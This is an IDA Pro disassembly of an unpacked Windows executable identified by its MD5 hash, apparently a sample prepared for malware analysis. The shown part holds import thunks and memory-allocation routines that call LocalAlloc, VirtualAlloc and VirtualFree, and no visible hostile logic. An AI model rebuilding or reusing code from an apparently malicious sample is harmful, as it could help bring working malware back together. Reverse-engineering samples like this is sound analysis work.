;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	CC0FC86742B8F671BA7B7BACEE8F93B4

; File Name   :	u:\work\cc0fc86742b8f671ba7b7bacee8f93b4_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004490 (  17552.)
; Section size in file		: 00004490 (  17552.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401000	proc near		; CODE XREF: sub_4033DC+39p
					; sub_4033DC:loc_403430p
					; DATA XREF: ...
		jmp	ds:dword_4080E0
sub_401000	endp

; ---------------------------------------------------------------------------
unk_401006	db  8Bh	; 		; DATA XREF: .rsrc:004376C9o
		db 0C0h	; 

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401008	proc near		; CODE XREF: sub_402DB8+14p
					; sub_402DD4+16p ...
		jmp	ds:dword_4080DC
sub_401008	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401010	proc near		; CODE XREF: sub_403230-2B6p
					; CODE:00403188p
					; DATA XREF: ...
		jmp	ds:dword_4080D8
sub_401010	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401018	proc near		; CODE XREF: sub_403230-31Ep
					; sub_403230-2E1p ...
		jmp	ds:dword_4080D4
sub_401018	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401020	proc near		; CODE XREF: sub_4033DC+3Fp
					; sub_4033DC+5Ap
		jmp	ds:dword_4080D0
sub_401020	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_402908+19p
					; sub_402908+55p ...
		jmp	ds:dword_4080F0
sub_401028	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401030	proc near		; CODE XREF: sub_403468+C3p
		jmp	ds:dword_4080CC
sub_401030	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401038	proc near		; CODE XREF: sub_4033DC+78p
		jmp	ds:dword_4080EC
sub_401038	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401040	proc near		; CODE XREF: sub_403468+8Bp
		jmp	ds:dword_4080C8
sub_401040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401048	proc near		; CODE XREF: sub_402A6C:loc_402AA3p
					; sub_403A78+67p
		jmp	ds:dword_4080C4
sub_401048	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_4039B0+26p
		jmp	ds:dword_4080C0
sub_401050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401058	proc near		; CODE XREF: sub_402A6C+23p
		jmp	ds:dword_4080BC
sub_401058	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401060	proc near		; CODE XREF: sub_401098+Ap
		jmp	ds:dword_4080B8
sub_401060	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401068	proc near		; CODE XREF: sub_403A78:loc_403B20p
					; sub_403A78:loc_403B31p
					; DATA XREF: ...
		jmp	ds:dword_4080B4
sub_401068	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401070	proc near		; CODE XREF: sub_402CDC+6Bp
		jmp	ds:dword_408100
sub_401070	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401078	proc near		; CODE XREF: sub_402CDC+22p
		jmp	ds:dword_4080FC
sub_401078	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401080	proc near		; CODE XREF: sub_402CDC+55p
		jmp	ds:dword_4080F8
sub_401080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401088	proc near		; CODE XREF: sub_403A78:loc_403B40p
		jmp	ds:dword_4080B0
sub_401088	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401090	proc near		; CODE XREF: sub_403A78+7Bp
					; sub_403A78+8Cp
		jmp	ds:dword_4080AC
sub_401090	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401098	proc near		; CODE XREF: sub_403A78+71p

var_1C		= word ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	sub_401060	; GetStartupInfoA
		test	byte ptr [esp+48h+var_1C], 1
		jz	short loc_4010B3
		movzx	ebx, [esp+48h+var_18]


loc_4010B3:				; CODE XREF: sub_401098+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_401098	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BC	proc near		; CODE XREF: sub_4010FC+15p
					; sub_401904+54p
		jmp	ds:dword_4080A8
sub_4010BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C4	proc near		; CODE XREF: sub_4019DC+41p
					; sub_4019DC+B6p
		jmp	ds:dword_4080A4
sub_4010C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CC	proc near		; CODE XREF: sub_401364+2Fp
					; sub_4013C8+1Ep ...
		jmp	ds:dword_4080A0
sub_4010CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D4	proc near		; CODE XREF: sub_401364+56p
					; sub_4013C8+69p ...
		jmp	ds:dword_40809C
sub_4010D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_401904+17p
		jmp	ds:dword_408098
sub_4010DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E4	proc near		; CODE XREF: sub_401904+2Ap
					; sub_4019DC+2Fp ...
		jmp	ds:dword_408094
sub_4010E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EC	proc near		; CODE XREF: sub_401904+C2p
					; sub_4019DC+E4p ...
		jmp	ds:dword_408090
sub_4010EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F4	proc near		; CODE XREF: sub_4019DC+EEp
		jmp	ds:dword_40808C
sub_4010F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4010FC	proc near		; CODE XREF: sub_401188+9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF4h
		mov	ebx, offset dword_4075D0
		cmp	dword ptr [ebx], 0
		jnz	short loc_401163
		push	644h
		push	0
		call	sub_4010BC	; LocalAlloc
		mov	[esp+10h+var_8], eax
		cmp	[esp+10h+var_8], 0
		jnz	short loc_401128
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		jmp	short loc_401178
; ---------------------------------------------------------------------------


loc_401128:				; CODE XREF: sub_4010FC+23j
		mov	eax, [esp+10h+var_8]
		mov	edx, ds:dword_4075CC
		mov	[eax], edx
		mov	eax, [esp+10h+var_8]
		mov	ds:dword_4075CC, eax
		xor	eax, eax


loc_40113F:				; CODE XREF: sub_4010FC+65j
		mov	edx, eax
		add	edx, edx
		mov	ecx, [esp+10h+var_8]
		lea	edx, [ecx+edx*8+4]
		mov	[esp+10h+var_C], edx
		mov	edx, [esp+10h+var_C]
		mov	ecx, [ebx]
		mov	[edx], ecx
		mov	edx, [esp+10h+var_C]
		mov	[ebx], edx
		inc	eax
		cmp	eax, 64h
		jnz	short loc_40113F


loc_401163:				; CODE XREF: sub_4010FC+Cj
		mov	eax, [ebx]
		mov	[esp+10h+var_C], eax
		mov	eax, [esp+10h+var_C]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [esp+10h+var_C]
		mov	[esp+10h+var_10], eax


loc_401178:				; CODE XREF: sub_4010FC+2Aj
		mov	eax, [esp+10h+var_10]
		add	esp, 0Ch
		pop	ebx
		retn
sub_4010FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401180	proc near		; CODE XREF: sub_401904+34p
					; sub_401904+3Ep ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_401180	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401188	proc near		; CODE XREF: sub_401218+71p
					; sub_4012A0+96p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		call	sub_4010FC
		mov	[esp+10h+var_C], eax
		cmp	[esp+10h+var_C], 0
		jnz	short loc_4011A5


loc_4011A1:				; DATA XREF: sub_437814+7r
		xor	eax, eax
		jmp	short loc_4011DF
; ---------------------------------------------------------------------------


loc_4011A5:				; CODE XREF: sub_401188+17j
		mov	eax, [esi]
		mov	edx, [esp+10h+var_C]
		mov	[edx+8], eax
		mov	eax, [esi+4]
		mov	edx, [esp+10h+var_C]
		mov	[edx+0Ch], eax
		mov	eax, [ebx]
		mov	[esp+10h+var_10], eax
		mov	eax, [esp+10h+var_C]
		mov	edx, [esp+10h+var_10]
		mov	[eax], edx
		mov	eax, [esp+10h+var_C]
		mov	[eax+4], ebx
		mov	eax, [esp+10h+var_10]
		mov	edx, [esp+10h+var_C]
		mov	[eax+4], edx
		mov	eax, [esp+10h+var_C]
		mov	[ebx], eax
		mov	al, 1


loc_4011DF:				; CODE XREF: sub_401188+1Bj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401188	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011E4	proc near		; CODE XREF: sub_401218+37p
					; sub_401218+56p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		add	esp, 0FFFFFFF8h
		mov	edx, [eax+4]
		mov	[esp+8+var_8], edx
		mov	edx, [eax]
		mov	[esp+8+var_4], edx
		mov	edx, [esp+8+var_8]
		mov	ecx, [esp+8+var_4]
		mov	[edx], ecx
		mov	edx, [esp+8+var_4]
		mov	ecx, [esp+8+var_8]
		mov	[edx+4], ecx
		mov	edx, ds:dword_4075D0
		mov	[eax], edx
		mov	ds:dword_4075D0, eax
		pop	ecx
		pop	edx
		retn
sub_4011E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401218	proc near		; CODE XREF: sub_401684+80p
					; sub_40172C+78p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, ecx
		mov	esi, eax
		mov	edi, esp
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [edx]
		mov	[ebx], eax
		mov	eax, [edx+4]
		mov	[ebx+4], eax


loc_401233:				; CODE XREF: sub_401218:loc_401283j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[esp+18h+var_14], eax
		mov	edx, [edi]
		mov	edx, [edx+8]
		mov	ecx, edx
		mov	ebp, [edi]
		add	ecx, [ebp+0Ch]
		mov	eax, [ebx]
		cmp	ecx, eax
		jnz	short loc_401265
		mov	eax, [edi]
		call	sub_4011E4
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[ebx], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax
		jmp	short loc_40127B
; ---------------------------------------------------------------------------


loc_401265:				; CODE XREF: sub_401218+33j
		add	eax, [ebx+4]
		cmp	edx, eax
		jnz	short loc_40127B
		mov	eax, [edi]
		call	sub_4011E4
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax


loc_40127B:				; CODE XREF: sub_401218+4Bj
					; sub_401218+52j
		mov	eax, [esp+18h+var_14]
		mov	[edi], eax
		cmp	esi, [edi]


loc_401283:				; DATA XREF: sub_437796+150r
		jnz	short loc_401233
		mov	edx, ebx
		mov	eax, esi
		call	sub_401188
		test	al, al
		jnz	short loc_401296
		xor	eax, eax
		mov	[ebx], eax


loc_401296:				; CODE XREF: sub_401218+78j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401218	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4012A0	proc near		; CODE XREF: sub_401870+82p
					; sub_401CF4+ABp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF0h
		mov	[esp+20h+var_20], eax
		mov	esi, esp
		mov	eax, [esi]
		mov	[esp+20h+var_14], eax


loc_4012B2:				; CODE XREF: sub_4012A0+B3j
		mov	ecx, [edx]
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ecx, eax
		jb	loc_401347
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jb	short loc_401347
		cmp	ecx, eax
		jnz	short loc_4012F6
		mov	eax, [edx+4]
		mov	ecx, [esi]
		add	[ecx+8], eax
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_401343
		mov	eax, [esi]
		call	sub_4011E4
		jmp	short loc_401343
; ---------------------------------------------------------------------------


loc_4012F6:				; CODE XREF: sub_4012A0+33j
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jnz	short loc_401310
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		jmp	short loc_401343
; ---------------------------------------------------------------------------


loc_401310:				; CODE XREF: sub_4012A0+64j
		mov	ebx, [edx]
		add	ebx, [edx+4]
		mov	[esp+20h+var_1C], ebx
		mov	edi, [esi]
		mov	edi, [edi+8]
		mov	ebp, [esi]
		add	edi, [ebp+0Ch]
		sub	edi, ebx
		mov	[esp+20h+var_18], edi
		sub	ecx, eax
		mov	eax, [esi]
		mov	[eax+0Ch], ecx
		lea	edx, [esp+20h+var_1C]
		mov	eax, [esi]
		call	sub_401188
		test	al, al
		jnz	short loc_401343
		xor	eax, eax
		jmp	short loc_40135B
; ---------------------------------------------------------------------------


loc_401343:				; CODE XREF: sub_4012A0+4Bj
					; sub_4012A0+54j ...
		mov	al, 1
		jmp	short loc_40135B
; ---------------------------------------------------------------------------


loc_401347:				; CODE XREF: sub_4012A0+1Bj
					; sub_4012A0+2Fj
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax
		mov	eax, [esi]
		cmp	eax, [esp+20h+var_14]
		jnz	loc_4012B2
		xor	eax, eax


loc_40135B:				; CODE XREF: sub_4012A0+A1j
					; sub_4012A0+A5j
		add	esp, 10h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4012A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401364	proc near		; CODE XREF: sub_401684+6Ep
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_40137A
		mov	esi, 100000h
		jmp	short loc_401386
; ---------------------------------------------------------------------------


loc_40137A:				; CODE XREF: sub_401364+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_401386:				; CODE XREF: sub_401364+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	sub_4010CC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_4013C3
		mov	edx, ebx
		mov	eax, offset off_4075D4
		call	sub_401188
		test	al, al
		jnz	short loc_4013C3
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010D4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_4013C3:				; CODE XREF: sub_401364+3Aj
					; sub_401364+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401364	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4013C8	proc near		; CODE XREF: sub_40172C+62p
					; sub_40172C+A9p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	sub_4010CC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_401412
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	sub_4010CC	; VirtualAlloc
		mov	[ebx], eax


loc_401412:				; CODE XREF: sub_4013C8+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_40143A
		mov	edx, ebx
		mov	eax, offset off_4075D4
		call	sub_401188
		test	al, al
		jnz	short loc_40143A
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010D4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_40143A:				; CODE XREF: sub_4013C8+4Dj
					; sub_4013C8+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401440	proc near		; CODE XREF: sub_401684+95p
					; sub_40172C+90p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	edi, ecx
		mov	esi, esp
		mov	[esp+28h+var_20], 0FFFFFFFFh
		xor	ecx, ecx
		mov	[esp+28h+var_1C], ecx
		mov	[esp+28h+var_18], eax
		add	edx, [esp+28h+var_18]
		mov	[esp+28h+var_14], edx
		mov	eax, ds:off_4075D4
		mov	[esi], eax
		jmp	short loc_4014D9
; ---------------------------------------------------------------------------


loc_40146E:				; CODE XREF: sub_401440+A0j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esp+28h+var_24], eax
		mov	eax, [esi]
		mov	ebx, [eax+8]
		cmp	ebx, [esp+28h+var_18]
		jb	short loc_4014D3
		mov	eax, ebx
		mov	edx, [esi]
		add	eax, [edx+0Ch]
		cmp	eax, [esp+28h+var_14]
		ja	short loc_4014D3
		cmp	ebx, [esp+28h+var_20]
		jnb	short loc_401498
		mov	[esp+28h+var_20], ebx


loc_401498:				; CODE XREF: sub_401440+52j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		mov	eax, [esi]
		add	ebp, [eax+0Ch]
		cmp	ebp, [esp+28h+var_1C]
		jbe	short loc_4014AC
		mov	[esp+28h+var_1C], ebp


loc_4014AC:				; CODE XREF: sub_401440+66j
		push	8000h
		push	0
		mov	eax, [esi]
		mov	eax, [eax+8]
		push	eax
		call	sub_4010D4	; VirtualFree
		test	eax, eax
		jnz	short loc_4014CC
		mov	ds:dword_4075B0, 1


loc_4014CC:				; CODE XREF: sub_401440+80j
		mov	eax, [esi]
		call	sub_4011E4


loc_4014D3:				; CODE XREF: sub_401440+3Fj
					; sub_401440+4Cj
		mov	eax, [esp+28h+var_24]
		mov	[esi], eax


loc_4014D9:				; CODE XREF: sub_401440+2Cj
		mov	eax, offset off_4075D4
		cmp	eax, [esi]
		jnz	short loc_40146E
		xor	eax, eax
		mov	[edi], eax
		cmp	[esp+28h+var_1C], 0
		jz	short loc_4014FE
		mov	eax, [esp+28h+var_20]
		mov	[edi], eax
		mov	eax, [esp+28h+var_1C]
		sub	eax, [esp+28h+var_20]
		mov	[edi+4], eax


loc_4014FE:				; CODE XREF: sub_401440+ABj
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401440	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401508	proc near		; CODE XREF: sub_401684+35p
					; sub_40172C+100p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		mov	[esp+28h+var_28], edx
		lea	esi, [esp+28h+var_20]
		lea	edi, [esp+28h+var_24]
		lea	ebp, [esp+28h+var_1C]
		mov	edx, eax
		mov	ecx, edx
		and	ecx, 0FFFFF000h
		mov	[esp+28h+var_18], ecx
		add	edx, [esp+28h+var_28]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+28h+var_14], edx
		mov	eax, [esp+28h+var_18]
		mov	[ebx], eax
		mov	eax, [esp+28h+var_14]
		sub	eax, [esp+28h+var_18]
		mov	[ebx+4], eax
		mov	eax, ds:off_4075D4
		mov	[edi], eax
		jmp	short loc_4015B6
; ---------------------------------------------------------------------------


loc_40155B:				; CODE XREF: sub_401508+B5j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebp+0], eax
		mov	eax, [esi]
		cmp	eax, [esp+28h+var_18]
		jnb	short loc_40157A
		mov	eax, [esp+28h+var_18]
		mov	[esi], eax


loc_40157A:				; CODE XREF: sub_401508+6Aj
		mov	eax, [ebp+0]
		cmp	eax, [esp+28h+var_14]
		jbe	short loc_40158A
		mov	eax, [esp+28h+var_14]
		mov	[ebp+0], eax


loc_40158A:				; CODE XREF: sub_401508+79j
		mov	eax, [esi]
		cmp	eax, [ebp+0]
		jnb	short loc_4015B0
		push	4
		push	1000h
		mov	eax, [ebp+0]
		sub	eax, [esi]
		push	eax
		mov	eax, [esi]
		push	eax
		call	sub_4010CC	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4015B0
		xor	eax, eax
		mov	[ebx], eax
		jmp	short loc_4015BF
; ---------------------------------------------------------------------------


loc_4015B0:				; CODE XREF: sub_401508+87j
					; sub_401508+A0j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_4015B6:				; CODE XREF: sub_401508+51j
		mov	eax, offset off_4075D4


loc_4015BB:				; DATA XREF: sub_437796+F0r
		cmp	eax, [edi]
		jnz	short loc_40155B


loc_4015BF:				; CODE XREF: sub_401508+A6j
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401508	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4015C8	proc near		; CODE XREF: sub_401870+36p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], edx
		lea	esi, [esp+28h+var_20]
		lea	edi, [esp+28h+var_24]
		lea	ebx, [esp+28h+var_1C]
		mov	edx, eax
		mov	ebp, edx
		add	ebp, 0FFFh
		and	ebp, 0FFFFF000h
		mov	[esp+28h+var_18], ebp
		add	edx, [esp+28h+var_28]
		and	edx, 0FFFFF000h
		mov	[esp+28h+var_14], edx
		mov	eax, [esp+28h+var_18]
		mov	[ecx], eax
		mov	eax, [esp+28h+var_14]
		sub	eax, [esp+28h+var_18]
		mov	[ecx+4], eax
		mov	eax, ds:off_4075D4
		mov	[edi], eax
		jmp	short loc_401671
; ---------------------------------------------------------------------------


loc_401619:				; CODE XREF: sub_4015C8+B0j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebx], eax
		mov	eax, [esi]
		cmp	eax, [esp+28h+var_18]
		jnb	short loc_401637
		mov	eax, [esp+28h+var_18]
		mov	[esi], eax


loc_401637:				; CODE XREF: sub_4015C8+67j
		mov	eax, [ebx]
		cmp	eax, [esp+28h+var_14]
		jbe	short loc_401645
		mov	eax, [esp+28h+var_14]
		mov	[ebx], eax


loc_401645:				; CODE XREF: sub_4015C8+75j
		mov	eax, [esi]
		cmp	eax, [ebx]
		jnb	short loc_40166B
		push	4000h
		mov	eax, [ebx]
		sub	eax, [esi]
		push	eax
		mov	eax, [esi]
		push	eax
		call	sub_4010D4	; VirtualFree
		test	eax, eax
		jnz	short loc_40166B
		mov	ds:dword_4075B0, 2


loc_40166B:				; CODE XREF: sub_4015C8+81j
					; sub_4015C8+97j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_401671:				; CODE XREF: sub_4015C8+4Fj
		mov	eax, offset off_4075D4
		cmp	eax, [edi]
		jnz	short loc_401619
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4015C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401684	proc near		; CODE XREF: sub_401F80+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	edi, esp
		mov	ebp, offset off_4075E4
		add	esi, 3FFFh
		and	esi, 0FFFFC000h


loc_4016A2:				; CODE XREF: sub_401684+8Aj
		mov	eax, [ebp+0]
		mov	[edi], eax
		jmp	short loc_4016EA
; ---------------------------------------------------------------------------


loc_4016A9:				; CODE XREF: sub_401684+68j
		mov	eax, [edi]
		cmp	esi, [eax+0Ch]
		jg	short loc_4016E4
		mov	ecx, ebx
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	edx, esi
		call	sub_401508
		cmp	dword ptr [ebx], 0
		jz	short loc_401722
		mov	eax, [ebx+4]
		mov	edx, [edi]
		add	[edx+8], eax
		mov	eax, [ebx+4]
		mov	edx, [edi]
		sub	[edx+0Ch], eax
		mov	eax, [edi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_401722
		mov	eax, [edi]
		call	sub_4011E4
		jmp	short loc_401722
; ---------------------------------------------------------------------------


loc_4016E4:				; CODE XREF: sub_401684+2Aj
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_4016EA:				; CODE XREF: sub_401684+23j
		cmp	ebp, [edi]
		jnz	short loc_4016A9
		mov	edx, ebx
		mov	eax, esi
		call	sub_401364
		cmp	dword ptr [ebx], 0
		jz	short loc_401722
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, ebx
		mov	eax, ebp
		call	sub_401218
		cmp	[esp+1Ch+var_18], 0
		jnz	short loc_4016A2
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, [ebx+4]
		mov	eax, [ebx]
		call	sub_401440
		xor	eax, eax
		mov	[ebx], eax


loc_401722:				; CODE XREF: sub_401684+3Dj
					; sub_401684+55j ...
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401684	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40172C	proc near		; CODE XREF: sub_401FAC+10p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], ecx
		mov	edi, edx
		mov	ebx, eax
		lea	esi, [esp+28h+var_24]
		mov	ebp, offset off_4075E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


